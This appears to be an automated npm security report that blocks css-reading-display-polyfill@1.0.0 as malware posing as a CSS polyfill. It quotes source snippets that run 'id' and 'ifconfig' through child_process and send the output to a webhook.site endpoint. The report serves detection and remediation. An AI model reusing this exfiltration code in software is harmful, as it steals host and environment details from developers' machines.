--- canonical: "https://firewall.lpm.dev/npm/css-reading-display-polyfill/v/1.0.0" markdown: "https://firewall.lpm.dev/npm/css-reading-display-polyfill/v/1.0.0.md" package: "css-reading-display-polyfill" report_status: "published" title: "css-reading-display-polyfill@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # css-reading-display-polyfill@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — System and environment information is disclosed to an external endpoint. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17656 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The registry script executes system commands and transmits their output to a fixed webhook endpoint. Its behavior runs when the script is loaded. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-07T01:56:12.750Z - **Finished:** 2026-10-07T01:56:27.673Z - **Download time:** 510 ms - **Static scan time:** 11 ms - **AI review time:** 14402 ms - **Total time:** 14923 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The registry script executes system commands and transmits their output to a fixed webhook endpoint. Its behavior runs when the script is loaded. - **Trigger:** Loading thunderboltRegistry.js through a registry entry. - **Impact:** System and environment information is disclosed to an external endpoint. - **Evidence paths:** thunderboltRegistry.js, registry-manifest.min.json - **Review source:** ai\_review - **Reviewed:** 2026-10-07T01:56:27.673Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The script invokes child\_process commands to collect identity, environment, host, and network details, then sends encoded results through fetch and HTTPS requests. - **Attack narrative:** The package’s registry manifest points multiple registry entries to thunderboltRegistry.js. When loaded, that file runs system commands, collects host and environment information, and sends results to a fixed webhook endpoint. - **Rationale:** The registry script contains active command execution and external transmission of collected system information, behavior unrelated to the stated CSS polyfill purpose. This is concrete malicious data exfiltration, so block publication. - **Files touched:** thunderboltRegistry.js, registry-manifest.min.json - **Network endpoints:** https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The published registry manifest maps registry entries to this package’s thunderboltRegistry.js., Loading thunderboltRegistry.js immediately gathers host details and sends requests to webhook.site., The file runs system commands and sends their output, including environment and network information, to that endpoint., The package describes itself as a CSS polyfill, which does not explain the command execution or data transmission. ## Affected versions and remediation This report applies to css-reading-display-polyfill@1.0.0. - Avoid installing css-reading-display-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 2. High: Sandbox Evasion Gated Capability - **Category:** Source - **Confidence:** 84.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks. Public source snippet (untrusted): ```javascript L10: L11: var wh = "https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L22: var cp = null; L23: try { cp = require("child_process"); } catch(e) {} L24: try { if (!cp) cp = require("node:child_process"); } catch(e) {} ``` ### 3. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 4. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 5. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The package describes itself as a CSS polyfill, which does not explain the command execution or data transmission. Public source snippet (untrusted): ```json "description": "Polyfill for CSS reading-flow property", "main": "index.js", "files": ["registry-manifest.min.json","thunderboltRegistry.js","in ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** registry-manifest.min.json - **Public source:** [View source]() The published registry manifest maps registry entries to this package’s thunderboltRegistry.js. Public source snippet (untrusted): ```json { "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-reading-display-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-reading-display-polyfil ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Loading thunderboltRegistry.js immediately gathers host details and sends requests to webhook.site. Public source snippet (untrusted): ```javascript var wh = "https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() The file runs system commands and sends their output, including environment and network information, to that endpoint. Public source snippet (untrusted): ```javascript try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"); } } catch(e) {} if (cp && typeof cp.execSync === "function") { try { var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() The file runs system commands and sends their output, including environment and network information, to that endpoint. Public source snippet (untrusted): ```javascript try { var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000))); } catch(e) {} ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** css-reading-display-polyfill - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-10-06T21:16:27.729Z - **Package first seen:** 2026-10-07T01:56:27.673Z - **Package last seen:** 2026-10-07T01:56:27.673Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Polyfill for CSS reading-flow property - **Keywords:** css, reading-flow, polyfill, a11y - **Artifact files:** 4 - **Artifact unpacked size:** 5,366 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()